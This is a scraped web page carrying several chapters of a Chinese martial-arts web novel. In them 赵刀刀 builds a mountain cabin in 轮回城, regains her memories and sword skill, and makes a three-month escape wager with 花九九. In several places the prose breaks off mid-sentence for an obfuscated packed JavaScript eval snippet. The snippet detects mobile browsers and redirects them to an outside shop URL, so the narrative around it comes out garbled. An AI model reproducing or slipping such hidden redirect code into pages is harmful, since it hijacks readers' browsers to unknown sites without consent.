奔波终于暂时得以歇下,赵小刀绕了一大圈,终于回到了风月城。 这些日子还是找不到赵刀刀的消息,仿佛她凭空消失在风月城一般。 常人早该放弃了,顾倾城见惯生死,开药时总劝他不要太过执着。但赵小刀并不觉得自己固执,他只是知道她一定还没死罢了。 他吃了很多药,顾倾城明明善于调药,却非给他最苦的那些,即使他并不惧苦,也要吃得神魂出鞘。过年难得不用吃药,竟也有些开心。 此时赵小刀正坐在院里赏月,身侧是火灼烧的声音和酒被煮沸的声音。 他垫着布给自己斟一杯酒,不知刀刀身处何方,但他们此刻应当正在同一片月光之下。想到此处,他感到一丝欣慰。 当人好也不好,他近些日子越活越懒了,像今夜,就不知为何打不起一点写信的劲头。 雪落在眼上。 赵小刀闭着眼轻声道,“新年快乐,吉祥如意。” 75. 春雪 这是赵刀刀过的第一个新年。 新年的开始是漫天的烟花和一场雪,新年的终声是一间初具雏形的漏风的小屋。 这年于别人来说是放松团聚,于赵刀刀来说却忙得没边——除了头两天,她简直像只勤劳的蜜蜂,整日上山下山,跑来跑去,为了她心心念念的木屋折腾着木头和自己。 花九九在新年的最后一天听到赵刀刀在做什么的时候,嘴里的一口茶差点就喷了出来。 “你说什么?” 管家低头道:“九九姑娘,赵刀刀最近是在造房子,派人看过了,没有什么奇怪的地方。” “没有什么奇怪的地方……”花九九笑了笑,将茶放到一边,又渐渐板起小脸,心道:她造房子就是最奇怪的地方。赵刀刀不是一直想离开这里,怎么如今又盖起了房子?难道她已经绝了离开的心思?只是不想待在花家? 因赵刀刀不想离开这事,花九九一时觉得开心极了,但心底某处又隐隐感到些无趣。 总归哪里还是有问题,花九九继续问:“她过年难道只干了这一件事?其他还干什么了?你从第一天开始仔细说给我。” “是,从新年第一天开始,她给你和木匠送了礼,您说后面放她的假,咱们的人就撤了些,只知道她夜里看了烟花,后来她就开始搬木头造房子了。” 花九九刚欲问,“这其中没有其他事?”又咽下话头,人是她自己撤下的,又何必再去计较。转而问:“去她那房子看过了?” “看了。” “有什么特别之处吗?” 管家摇了摇头,“没有,只是普通的木屋,现在还差着些没建好。” “好。”花九九思索片刻道:“你下去吧。” 管家行了礼准备离开。 “等等!”花九九又忽然叫住了他。道:“她要是有什么需要之处,就去帮帮。” “是。” 年到尾声,雪还在下。 即使已经做了保护,赵刀刀还是因为一时心血来潮做过了头,她看着手上磨破的伤口,感受着肩上的酸痛和一停下就有些微颤的双腿,渐渐停下上山的脚步。 她丢开背着的包袱,整个人毫无预兆的往后靠去。 噗的一声,赵刀刀一下子砸在雪上,她顺势躺在雪里。 身下冰凉的雪慢慢透过衣服传来寒意,蓝色天空中白色的雪还在洋洋洒洒地飘舞,落在脸上,嘴边。赵刀刀轻叹一口气,终于冷静下来。 她不知道自己怎么了,或许新年的气氛也有影响,但前几日的自己还真像个不知疲倦的怪物一般,上上下下,劈柴砍树,有时一天过去连练刀的力气也无就沉沉睡去。 赵刀刀的手抓近身侧的雪地里,她握了一手的雪,将雪团成球朝远处掷去,手心没了了冰凉,慢慢变得灼痛,她笑了笑,无奈地闭了闭眼睛。 赵刀刀坐起身,拍了拍手,决定停下来,休息几日再继续。 她有些想见别人,想和别人说说话。 盖屋这几天,除了采买货物,她鲜少和人交流,直到后半夜才悄然回到花家,和衣休息一会儿又早早离开。 不如去见见沈木匠和花九九……但想及花九九,赵刀刀忍不住叹了口气,太久不见,她不知怎的,现在不太想见到那个小姑娘。 或许也并非不愿……赵刀刀想,她可以去看一看,只是不想花九九看到自己。 她想到便做,将东西放好就出发。 花九九好像不在花家。 赵刀刀在花家四处都未见花九九的身影,她的房门关着,窗开着,望去也无人。 赵刀刀刚想离开花家,又停在树上,心想来都来了,不如就此等着,如果快到天黑花九九还没回来,自己便离去练刀。 初时,赵刀刀坐在屋顶上,一点一点摘出木刺,用来路顺手买的伤药和布条为自己包扎伤口。后来,她便托着脑袋朦朦胧胧看起雪来。 花九九住的院中没有人来,安静得只有雪落声。 雪花晶莹,从天而降,风吹雪落,只有几片调皮的雪花被卷至他方。世界如此寂静,除了一屋檐的落雪彷佛再也没有其他多余之事。 赵刀刀看了半晌,竟看呆了去,等她回神,才发现自己盯着雪看了好久。 她伸了伸懒腰正准备离开,脑中却不由得奇怪,明明没有风,那些雪为何却轻轻飘近花九九的门前?赵刀刀一时福至心灵,俯下身子凝神细听,一听之下忽然大惊——屋中有人?!是花九九……不,如果是她,为何已经天黑却不点灯?难道是贼?竟有小贼敢到花家行窃? 赵刀刀追雪而下,落在门侧的墙外,打算从外头瞧一眼再从窗户进去。 她从未进过花九九闺房,此时刹一落地,先看了一眼窗,从窗里望去空无一人,床帘收着,锦绣的被子和花九九一样精致。赵刀刀又矮下身子动了一步,探头从门缝往里瞧去,这扇门正对着桌,桌旁竟隐隐瞧见一坨黑影端坐椅上,赵刀刀不由愣住,不是贼? 里面突然传来啪的一声响,随后有人大喝道:“谁?!” 赵刀刀心中更惊,这声音——是花九九?! 情势虽然不在预料之中,但赵刀刀身法轻巧,练功多日早已对自己轻功自信得要命,心想她虽来的突然,但落地那刻也绝不至于惊动他人,更何况她和花九九间还隔着一堵墙? 遂撤步靠回墙上,安静片刻,动也不动。 听着花九九起身向门边走来的脚步声,就在花九九手碰到门这一会儿功夫,赵刀刀便身如飞燕一般闪身从窗户窜进了房。又借着下雪天阴房间无灯,飞速躲到屋内梁上。 花九九左右瞧了瞧,见门外真的没人,地上连一个脚印一根头发也没有,从鼻子里哼出一声闷哼,四周看了看便关上门,走回桌边点了一盏灯 。 烛火幽幽,照亮了桌上一本倒扣的书。 赵刀刀从见过花九九的许多话本小说,但这本从她还从未见过。她凝神静气,想看看花九九接下来会做什么。想知道这小姑娘为何在屋内却给人以不在的假象。 花九九拿起桌上的书册,翻了几页。 赵刀刀耳力不错,可惜仅凭耳朵可不能知道书中所述,她心中痒痒,眯了眯眼却只能看到书上墨迹的黑点。等了片刻见花九九只盯着手里的书,不欲再起来走动的样子,便悄悄吊下半个身子仔细辨认。 房梁高,赵刀刀所在处光线昏沉,花九九的脸和手里的书却被映成金黄。赵刀刀仔细辨认书上的字——有许多地方认不清看不懂,最终只从字里行间看出“轮回花”这三个字。 轮回花?赵刀刀来轮回城已久,还从没听人提起过这种花,但这名字她却很熟……为什么? 赵刀刀缩回梁上,心中不解:轮回……赵刀刀一惊,若不是趴的稳当,她差点当着花九九的面儿落下去。 轮回城可不也叫做轮回? 既然名字相同,想来这花一定对轮回城有什么意义,可自己为何从未听人提起? 赵刀刀心中默默记下这个名字和大概的页数,便继续静静等着。 花九九看了很久,直到眼睛有些酸才揉了揉放下书,打开门迎着往屋内狂飘的呼呼风雪,伸了个拦腰。 赵刀刀趁这会儿从窗户溜走了。 赵刀刀总觉得花家有古怪,心中想回去探探,又怕太急切暴露自己。索性和沈木匠打了招呼,如果花九九不派人来找,她就在库房里睡几天,等木屋建好再搬上山去。 年已过完,花九九那边也没派人找她。 两人好像都忘了这事,转眼就到了二月中。 库房已从没有落脚地的一间屋子变成了能容下一张床的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665883|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卧房。 赵刀刀从花九九那边搬到了这里暂住。 倒不是没有别的屋子,只是赵刀刀觉得这里最靠近后街,离木匠所住也有点距离,不会打扰到他,方便。沈木匠拗不过她,就让她住了。 这些日子白天里赵刀刀跟着沈木匠学雕木,盖房子,夜里练完刀就回来歇下。 沈木匠还是有天闲聊才知道赵刀刀忙着搭窝,便上山帮她看了看房子。 有人搭把手,木屋比她想象中更快快建好了。 这天是赵刀刀乔迁新居第一天。 终于闲下来,她才又想起那天在花家所见。 赵刀刀暗自沉思,右手把玩着一把小小木刀。 这把木刀是她有天心血来潮想到的,也是她第一件想雕给自己的东西。 那天过年之后,她总觉得自己该有一把刀,她应当生来就是刀客,那为什么不能有一把刀常伴左右……常伴一生呢? 木刀只比巴掌大一点,但打磨得漆黑光亮,精致又漂亮。 这种乌木是赵刀刀精挑细选的,沈木匠舍不得让她浪费,逼着赵刀刀下了保证不胡来才给她。 一般木刀会雕刻纹路,沈木匠满心期待着赵刀刀的作品,选了很多纹样给她看。但东西太小,赵刀刀怕自己刻出错来,只能委屈师父大失所望——她最后只轻轻刻了一个”赵”字在刀柄上。 沈木匠评曰:“字体飘逸,但灵动谈不上,只能说画风清奇。” 木刀彻底打磨完那天,沈木匠望着那个赵字深深叹了口气。 赵刀刀彼时正在兴头上,问:“师父有事?怎么啦?” 老木匠又叹了口气,然后甩手摔袖道:“好好砍你的木头!”离开时又补充道:“没事!”这才牙痒地离开。 第二日沈木匠下了气头,刚想安慰她开了窍就好,以后定能做出更好的东西来,不成想木刀完成之后,赵刀刀居然又只能看着别的成品雕些小玩意了……气得沈木匠简直要没了脾气。 赵刀刀用指腹磨着刀尖,轮回花的事她还是想不明白,或许得打听打听。 她按着头,忽然想到什么笑了笑,定睛看着手里的木刀,摩梭着上面小小的字。 她知道老木匠不满,是觉得自己在最后关头反而敷衍了事,但刻这字的时候她心里真是一点儿也不想遵循任何字法结构,只想随性而写。便写出了这么个赵字。 丑,也还好吧……真的很丑吗? 屋里火旺,赵刀刀坐在火边热的有些脸红,忍不住轻咳两声。 屋外雪落静静落在小路上。 同样是羊肠小道,七扭八拐地在杂草间延伸,同样是山上,顺着小路慢慢地走,也能遇见一间木屋。 风月城的木屋里也生着火。 地上铺了席子,放着被雪打湿的裘衣。 赵小刀将写完的信折好放进箱里,扶着桌沿坐下,靠在椅子上,沉默地看雪。 冬日沉沉,明明新年已过,春天却好像再也不会来了。 桌上放着酒壶和酒盅,赵小刀记得刀刀是不爱喝酒的,但这样的日子里,如果连酒也没有,就太难熬。 他近来会下山去城里的铺子看一看,但大多时候还是会回到这间小屋待着。 这间小屋已经建好太久了,久到他觉得自己已经在这里等了很多年。 新年之后的日子也没有快起来,赵小刀仿佛一个行将就木的老人,有一根看不见的丝线正在从他身体里慢慢抽离,也带走了他的生命。 而这样的生命曾是他最渴望的东西。 赵小刀轻轻喝了一口酒。 找不到,他便在此等候。 他最擅长的就是等待。 天黑了。 今夜这间屋里同昨夜一样无人入睡。 一碟花生,二两小酒,坐到天明。 76. 诀别 冬将尽,雪已经不下了。 年过不久,等风月城的官道彻底恢复,唐雪便动身回到了唐家堡。 一路奔波,到唐家堡时天色已渐渐暖和起来。 水城原本就比风月城更温暖,春天阳光高照,正是舒适宜人的好时节。 一阵微风拂过,送来花香。 唐雪正抬头望着柳树新抽的枝芽发呆。 唐二走来拍了拍唐雪的肩,坐在她身侧:“春天到了,时间过得真快。” 唐雪扭头笑了笑,继续望着柳条。 此时水城已入春,满街柳絮翻飞,像是雪还在。 唐二坐了会儿,将手里的信轻轻放在她身侧,语调更加轻缓:“那边来信了,还没找到。” 唐雪淡淡道:“总能找到的。” 她和那个古怪的人一样固执地相信着,总会有等到的一天。 “嗯。”唐二道,“你也别在外面坐太久,虽然天暖了,但你的寒疾还没好全,还有几副药得吃。” “我知道。”唐雪低头看向手里的信,用指尖揉捏着信封的一角。 唐二见劝不动她,叹了口气离开。 明明已经离开风月城很多天,唐雪最近却总是想起那个地方。想起她醒来,发现自己睡在赵刀刀的房间,桌上放着一封信。 她看了信推开门,屋外风雪飘摇,白茫茫一片。 已经太久没见到赵刀刀了。 曾经相别,飞雪似杨花,如今冬尽,杨花似雪,却还是不见有人归来。 或许是因为风月城的那个怪人还在等,唐雪才觉得这事好歹不是自己一个人的幻想。也有人和她一样笃信恩人肯定还在这世上的某个角落活着,那继续等着,又有什么? 恩人还在。恩人总会回来的。只要一日找不到,她就一日这样相信。 柳絮飘落她的头顶,唐雪也浑然不觉。 …… 轮回城。 赵刀刀正准备出门。 她搓了搓手,听到树枝上冰柱一点点裂开掉下,听到冰化作水滴落在地上。 她呼出一口气,立刻凝结成雾。 这一片白茫茫,世界都如冰雪般清透。 赵刀刀将房门闭上。 她已在山上住了几日,近来她常常觉得自己将要彻底习惯这里的生活,可每每冒出这种念头,心头却总有一种感觉——这间木屋似家又不是家。 可是家……她有家吗?家在何处? 赵刀刀叹了口气,她总觉得自己忘了什么,有时候明明是想去找出城的路,但在街上总会不自觉走到一个地方,可那地方只有一个木牌立在地上,她也不知上面的名字是谁。 这感觉在看刀谱的时候也常常出现,她总觉得心里空荡荡的,透着风,这股空虚哪怕拼命练刀也压不下去。 可是看着刀谱,除了刀法还能想到别的什么呢?赵刀刀有点不懂自己。 未散的寒意像细小的针刺在脸上。 天还是太冷了。 花九九的花样换来换去,最近迷上了看戏。 或许是轮回城的人心底也有一份对戏的痴迷,总之花九九只是起了个头,第二天空空如也的戏院就坐满了人。 轮回城的大小戏班受了鼓舞,起早贪黑地改本子排戏,小班子也沾了喜气,喜笑颜开地迎客,最近几日从街头走到街尾要是看不到一个戏台,那才叫离奇。 红色的幕布和舞台看着热闹,捧场的人不少。 人群冲散了冷意。 花九九正坐在视线最好的位置。她周围有捧着茶静静听的,有拿手打着拍子的,有跟着摇头晃脑咿咿呀呀的,还有些人说是来看戏,看起来亲切热闹地交谈,心却早已不在戏上。他们拿不准花九九如今到底喜欢什么把戏,此刻装着热闹,却也颇有克制,直到话题偏得太厉害才回过神拉一把,继续谈天说地。 不管怎样,人多总还是暖和,只是赵刀刀站在离戏台很远的地方,冬日这点尾巴的寒意还是徘徊不散。 赵刀刀打了个哈欠,迷蒙着眼睛,把脸埋进厚实的貂毛领子里蹭了蹭。 不知什么时候,台子上的戏子唱道:“杨柳依依,雨雪霏霏,知我者,谓我心忧——” 那声音婉转缠绵,透过层层人群顺着一丝风钻进耳朵。 赵刀刀低着头,突然打了个激灵清醒过来,她看向台上的红衣,张了张嘴却说不出话,只有脑子莫名蹦出的一句词占据了全部思绪——“瞻彼日月,悠悠我思。道之云远,曷云能来”。 道路遥远,何时能回去…… 这戏文在她脑海中徘徊不散,仿佛有什么东西要冲出来,她蹙着眉努力地想,却还是找不到自己记忆的破绽,只不断地重复着这一段戏文。 往日的光景在脑海中糊作一团,隐约中,赵刀刀好像看到一朵花,听到几声笑,闻到一股清苦的药香。 无数难以辨认的场景在空中飘着,忽快忽慢,忽远忽近。 赵刀刀转身离开的一刹那,在石板的间隙仿佛看到了一朵红色的小花。 她顿足,眨了眨眼睛再去细看,缝隙间只有青苔杂草,哪里有花? “轮回花……”赵刀刀低喃道。 这些日子她打听了这花,本以为这古怪的名字应该讳莫如深,但连老木匠都知道这是什么——一种红到发紫小花,正是她之前遇到过的那种。 像老木匠一样随意轻松回答的人很多,城里的人被问起都说这花就是寻常野花,没什么特别的。 赵刀刀不信邪,采了几株找了个瓶子插着,整日没事就去瞧上一瞧,可无论怎么看,也看不出这花半点特别之处。 非要说,就是轮回花实在难养,不过一天就在瓶中蔫了过去。 但赵刀刀也不敢确定究竟是这花本就难活还是自己养花的手艺有问题。 这事便没了后续。 年过之后,花九九像是变了性子,只是偶尔找她,赵刀刀乐得其所,也没有再去花家。 可惜这种彻底轻松自在的感觉只持续了十天半月,自从每个方向她都找不到出去的路,赵刀刀的心中又开始不安。 春去,夏至。 转眼藤蔓已经爬满了赵刀刀的木屋,绿色的叶子围着屋子放肆地生长。 赵刀刀已经在轮回城待了很久,久到她觉得自己好像生来就待在这里,从没有离开过。 只是这天早上她忽然觉得有哪里不对劲。 赵刀刀摩挲着手指,猛地想起来花九九前几日借了自己那把木刀。 木刀虽小,但刻成之后她一直贴身携带,甚至都没再给老木匠看过,花九九要是知道这事也该是很早就知道了,为什么一直不说直到昨天才突然提起?最关键的是——她怎么就鬼使神差地答应借给花九九了呢? 赵刀刀歪了歪头,想不明白。 她赶到花家,花九九不在,只有管家送来一个小葫芦。 “这是什么?”赵刀刀不解。 管家轻咳两声,“赵姑娘,你那把木刀太小,九九姑娘昨天拿了之后放在桌上出去了下,不知怎的回来就找不见了,她让人把花家翻了个遍,但是……” 赵刀刀一时还没理解,“你是说……” “九九姑娘到现在还在找,她没找到,不愿见你,说先把这葫芦给你偿还。”管家小心翼翼地张开手里的丝绸手帕,里头包着一个精致的手掌大小的葫芦,“这葫芦也是九九姑娘心爱之物,因为实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这是顾倾城曾经给她的东西,记忆在此时终于被撬开一点破绽,“是真的……” “那朵花……”她想起来了。 “赵逐……”赵逐出现在那个梦里,也在轮回城生活过,所以她还记得赵逐。 赵小刀……她的黑刀早已断了,难怪自己想不起练刀的日子。 还有唐雪、顾倾城、周向晚…… 天旋地转间,砰的一声,赵刀刀昏倒在地。 她做了一个很长的梦。 那梦太过离奇,不但梦中有梦,还有一座她待了很久的山,几座温暖的城,和一把消失的刀。 等赵刀刀再醒,床边坐着的人转过头——这不正是她一直在找的花九九? “你做梦了?”花九九好奇的看着她,“是什么梦,你很伤心吗?” “不,是个美梦。”赵刀刀起身问:“我躺了多久,沈木匠来找过我吗?你怎么来了?” 花九九漫不经心道:“没多久,还没一天呢。大概是找过吧,我怕你一个人死了没人收尸,所以过来了。” 赵刀刀沉默半晌,“多谢,我要去劈柴了。” “你……”花九九刚说一字,又将话咽回肚里,嘿嘿笑道,“算了,没什么,你劳累过度,最近可得好好休养。我不打扰你啦!” 说着就径直出了门。 她一向很忙,赵刀刀没有阻拦。 但赵刀刀也没像答应的那样去劈柴,反而走到林深处开始练刀。 咔哒。 踩断枯枝的脚步声出现在附近。 赵刀刀没有去管。 本该刚才就离开的花九九从树木后露出身影,她像是看到什么可怕的事一般,楞在原地不能动弹。 木刀削风,花九九从不知道赵刀刀还有这样一把木刀,沈木匠也从不知道。 “你在干什么!”花九九大喊着问道。 赵刀刀手下未停,只是刀势放慢了一步,声音清晰地传来。 “练刀。” 77. 抉择 花九九的神色从震惊变作愤怒,“你!” 她忽然觉得眼前人早已变了模样,赵刀刀藏了多久?“你从一开始就在骗我,你一直有武功?” 赵刀刀横着劈出一刀,凌厉的刀意在远处的岩石上削出一道肉眼可见的缺口。 她叹了口气,淡淡道:“没有,一开始没有,我是慢慢想起来的。” “怎么可能……” 花九九早知她松懈的面孔下藏着獠牙,也知道赵刀刀至今还没有放弃寻找出城的方法,只是不知赵刀刀居然还能练成刀法,甚至她只拿着一把木刀,就能发挥出这样大的威力…… 现在看,赵刀刀始终执着寻找出口,想必也记起来了城外之事。 轮回城中外来者寥寥,毫无例外的是,他们初到第一天时或许还能记得一招半式,但最多不过三日,他们就会将往事忘了干净。 正因如此,哪怕真的武功秘籍就在眼前,在轮回城随处可见,也从未有人因此练成过什么。 赵刀刀何故居然如此特殊? 花九九一边觉得气愤,一边因自己是第一个发现这消息的人而感到一丝得意。 同时又有些不可思议,原来这世上真有这么凌厉霸道的招式,在此之前她以为飞檐走壁已是极限了呢! 见赵刀刀放下刀朝林中更深处走去,离她越来越远,花九九边喊边跟上去:“你这样被人发现,可是要受罚的!” “随便。” “即使受罚你也不肯放弃吗,你会丧命的!练这些究竟有什么好?”现在的赵刀刀简直和她平日看到的判若两人,她不该放松警惕的,花九九有几分后悔。 赵刀刀闻言,放慢了脚步思考起花九九的问题。 她想了片刻,答案没有改变:“没什么好,但是我要练。”她的目光落在手中的木刀上,“我喜欢练刀。” 赵刀刀突然将木刀高高抛起,刀在横在空中不断旋转着坠落,她转身看向花九九,反手将落下的木刀握住,从后往前划出一道半弧,停在花九九的鼻尖,道:“或许就像你喜欢看那些人下注,喜欢看人唱戏一样,我喜欢练刀。” 事情就是如此简单,练刀不止存在于记忆之中,更是早已融入她的身体,在她第一次翻开刀谱那天,身体就比头脑更早想起了一切。 “哈。”花九九的目光跟着木刀升高又落下,她毫不避让,饶有兴致地盯着眼前的刀,轻笑道,“看戏?那些东西不看也没什么,如果和性命相比,我可不会为了那种东西丢了性命。” “那就换一样你喜欢的。”赵刀刀沉下手腕,缓缓收刀身后,面对着花九九道:“或许……就像你看那本医书一样。” 花九九一愣,自己房中只有一本医书……她忽然明白了赵刀刀在说什么,吃惊道:“你怎么知道?!” 说起这事,赵刀刀脸上的表情不自在起来,她有几分不好意思,轻咳两声道,“我看到了。” 花九九稍一回想,就想起了有着奇怪预感的一夜,她低声道:“原来是你。” 她还不知赵刀刀后面又三顾茅庐过。 不过往后的事赵刀刀也是最近才品味出不对来。 “那你……还想出去吗?”花九九眨了眨眼睛,笑道,“其实我应该一早就告诉你的,免得你一直白费力气——轮回城可是没有出口的,你能从外面进来已经是极难的事,出去就更不可能了。” 赵刀刀笑了笑,“嗯。”她一直在找,怎么会不知道这点? 这笑容竟罕见地令花九九感到一些不安。 赵刀刀道,“其实我也有些话想问你。” “你问吧,反正你现在都想起来了。”花九九扬了扬下巴,“你有什么想问我?” 赵刀刀和她相处多日,此刻看她一个小姑娘又做出胸有成竹的姿态,觉得有些好玩,她问:“我们应该还在武洲?” “没错。” “……这里到底有几座城?” 花九九一愣,“几座城?你是问武洲……”她眯了眯眼睛,忽然安静下来,缓缓道:“这问题我也好久没想过了,你还记得几座城?” “牡丹佩柳,风月寂沙,遥望空海。” “啊。”花九九又像往常一样扑哧一笑,弯着眼睛道:“那这个问题就不用我回答你了。” 赵刀刀道:“再加上轮回城?” “嗯,”花九九想起了遥远的往事,脱口而出:“武洲十城,牡丹佩柳,风月寂沙,空轮回,望海遥。”这十个名字甚至不需要回忆就能轻松说出,除了轮回城还有这么多城……她以为自己都快忘了。 赵刀刀好奇道:“你一直在轮回城?” “是呀,我在这里出生,一直待在这里。”花九九恢复了平时的神态,抱着臂瘪了瘪嘴,道:“不过我听说其他地方远不如轮回城呢。” “还有他人吗?”赵刀刀话锋一转,又问道。 “什么?” “轮回城也有像我一样从外面进来的人吧……他们呢,他们在哪?”为什么她从来没碰到过像她一样寻找出口的人? “这个嘛……”花九九勾起嘴角,她明明只是个半大不小的姑娘,此时看着竟有几分邪性,“轮回城的人从来只进不出,除非以命换命。” “以命换命?”赵刀刀皱了皱眉,那就是可以出去……她看向花九九,“如果是像你们这样在城里生活的人呢,出去了还能回来吗?” “回来?”花九九道:“要是那样就好啦,可那未免太轻松了。” 她卖了个关子,绕到赵刀刀背后去看她的木刀,继续道:“自然是不能啦。” “哦。”赵刀刀感觉花九九一定在身后打量自己,她不觉得危险,只是有几分不自在,轻轻歪了歪头。 花九九的视线从刀尖滑落赵刀刀握刀的手,这灼热的视线令赵刀刀想打个寒颤,她忍住了。 花九九忽然问:“你……到底有多想离开这里?” “我一定会离开。” “哪怕有人因你而死?” “哪怕有人因我而死。” “你不会心痛吗?” “会。”赵刀刀道:“但我要出去。” 哪怕她什么都不记得,她也想要离开,更何况如今她已经记起一切。 花九九又绕到赵刀刀前方,看着她:“外面就那样好?” “外面……”赵刀刀想了想,“相比之下,或许轮回城更好吧。” 这里安逸平和,没有争端,幸福的不像是武洲的土地。 “那你为什么还要离开?” 赵刀刀轻轻叹了一口气,“外面有人在等我。” 不知唐雪怎么样了,周向晚答应她的刀鞘打好了没? 她从风月城离开是因为黑刀已毁,自己刀法尽失又时日无多,活要见人死要见尸,她消失在外面,却又找不到死亡的踪迹,或许有人还在为她等待。 既然活了下来,又何必让其他人为她饱受等待的煎熬?她想去见见他们。 “……” 花九九忽然不说话了。她有很多情感不屑去懂,可她却懂得等一个人的滋味,还有被人等着的滋味,是不好受啊…… 花九九转了转眼睛:“那就让我看看你能不能出去吧。” 花九九道:“从今天起,我替你瞒三个月,如果三个月内你能找到出口,我不会拦你,也绝口不提你的消息,但如果你出不去……” “你会忘了一切,留在这里。”花九九的声音似乎有几分颤抖,不知是激动还是难过,她克制着沉声道:“你会忘了自己,忘了刀法,忘了外面。这样你也愿意吗?” “一言为定。”哪怕有一线希望,赵刀刀也一定会抓住,比起花九九现在就让她忘了一切,她愿意赌这一次。她笑了笑,伸手道:“我答应你。” 花九九盯着赵刀刀看了会儿,低声道:“你果然是个怪人,从头到尾都是。” 她飞快地拍了下赵刀刀的手,算是约定达成的信号,便转身离开。 赵刀刀等她走了,从袖中拿出一个手帕,打开来,里面包着断成两截的黑色小刀。 她看了看又将小刀包好。 论奇怪,赵刀刀觉得花九九才是最怪的那个。她完全搞不懂花九九到底在想些什么,希望自己留下,却又主动提出赌约,好像一切想法都随时变化着,没有定数……但既然有机会能出去,那这三个月,就是她在轮回城最后的日子了。 赵刀刀下定决心,她要离开这里。 …… 寻找出口并不一帆风顺,城外那圈几乎已是赵刀刀每天必去之处,但除了一望无际的荒野,什么也不能看到。 空旷的田野摸不清方向,她试着走了走,始终看不到边界,只能在迷失方向前返回。 赵刀刀本以为这几天不会再见着花九九了,没想到坐在城墙上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687315|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休息的时候,竟看见一个熟悉的身影。 “你怎么来了?” 花九九笑嘻嘻道:“我不能来看你吗?哦哦……”她故作沉思点了点脑袋,“不过以后有的是时间见你,确实也不在这一两天。” 赵刀刀笑了笑,“那不一定。” 花九九做了个怀疑的表情,没有反驳,问:“你在这里看什么呢?” “我也不知道在看什么。” “听你这语气好像已经放弃了一样,你已经在这里待了一天,今天不去别处看看?” 赵刀刀摇了摇头。不知怎么的,近一个月她几乎天天在轮回城外圈折腾,可出城的路见不到,出城的人更是没有,甚至连出城的老鼠也不曾见到一只。 可越是如此……越有一个大胆的想法渐渐占据上风,或许是那猜测让她看到了出去的希望,在真正尝试之前,她竟有几分踌躇——若是成功,或许永远不会再回到轮回城了。 赵刀刀道:“今天不去别处了。你来的正好,我一整天都在这里,看得麻木了,正打算活动活动,你要回花府吗,我送你回去?” 花九九的笑容僵住一刹,“那就不用了。”她清清嗓子道:“不过本小姐到是可以陪你在城里走走。你要回山上吗?” 赵刀刀笑了笑,没有拒绝她的提议,“等会儿上山,走吧,去转转。” 街上人来人往,还是寻常景色。 赵刀刀见花九九回头看了一眼,也顺着望去,是一家医馆,医馆匾额角落写着”顾清风”三个小字。 花九九以前去过的医馆都是花家产业,怎么今日偏偏这家引得花小姐频频顾盼?赵刀刀问:“要买药吗?” 花九九犹豫片刻,点了点头,“你在这等我一会儿。” 赵刀刀心中疑惑更甚:谁生病了,花九九?那管家怎么不来?若是别人……谁又值得花大小姐亲自为他买药? 她摇了摇头,算了,何必自己乱想,等花九九出来问她就是。 花九九出来的时候空着手,身上还带着一股子药味。 赵刀刀忍不住问:“不是去买药?” 花九九道:“买了一点,我装起来了。” “你……何时生了病?” 花九九摇摇头,“没人生病,有备无患罢了。” 有备无患?是对谁有备无患?花九九话中有话,不肯透露太多。 赵刀刀本觉得自己对花九九已经熟悉,此时眼前的小姑娘却又变得捉摸不透起来,这个年纪的姑娘,心中就已经装得下如此多弯弯绕绕了么? 说起来,她这才忽然意识到,轮回城人人都认识花九九,可自己却从没听人说起过花九九家人的事。 边聊边走,到了赵刀刀山上的小屋门前。 赵刀刀点了灯,生了火。 花九九站在门口。 她曾来过这里一次,但并未留心,直到此刻烛火亮起,才第一次看清这间小小的屋子。 她生平第一次见到这样简陋的屋子,四处都光秃秃的,唯一算得上豪华的是床上铺着的一张兽皮,那应该是赵刀刀自己打的猎物吧。 “你平时就在这样的地方住着?”花九九问。 “嗯。” “冬天不冷吗?” “有点冷。” “……”花九九看着赵刀刀,一时语塞,“如果你……你愿意搬回花家吗?” 赵刀刀笑了笑,“九九,这世上没有如果。况且要是真有以后……按你所说,那时的我也不会是我了。” 花九九捻着袖子里小小的药包,鼻头忽然有些发酸。 此刻她突然发现,自己心心念念想要留下来的人,好像不管怎样都不会留在这里了。 花九九像平日里一样勾起嘴角:“你可别急着说大话,没有如果?那可不是你说了算!我要回去了,你毕竟还忙着……”她说到这里嘻嘻一笑,像是只搞怪的小狐狸,“不用送我。” 语未毕就快速地转身离开。 赵刀刀应声,真的转头架起了锅。听到远处一声“哼”,她知道花九九离开了。 过了许久,赵刀刀放下手里的野菜,看着燃烧的火焰。 花九九那样笃定她会留下,毫不阻拦她沿着城外探寻,莫非……轮回城的出口不在城外?她心中早有一个想法,如今…… 赵刀刀抿了抿唇。 似乎到了该去试试的时候。 78. 生死 夜色静谧,冷风萧瑟。 花府一间卧室房门动了动。 赵刀刀轻声进入房中,屋里有很多花瓶摆设,但是没有花。 她走到桌边,上次那本书已经不在,她继续朝里面走去,在床边站定。 隔着帐子,花九九躺在床上,似乎已经熟睡。 赵刀刀用手将一边的帷帐轻轻揭起。 她的手一顿,一抬头,忽然对上一双明晃晃的招子。 本该熟睡的花九九竟然睁开了眼睛。 赵刀刀不动声色地将帷帐挂在床边,收回手。 屋里没有点灯,二人就借着窗外的一点月光看着对方。 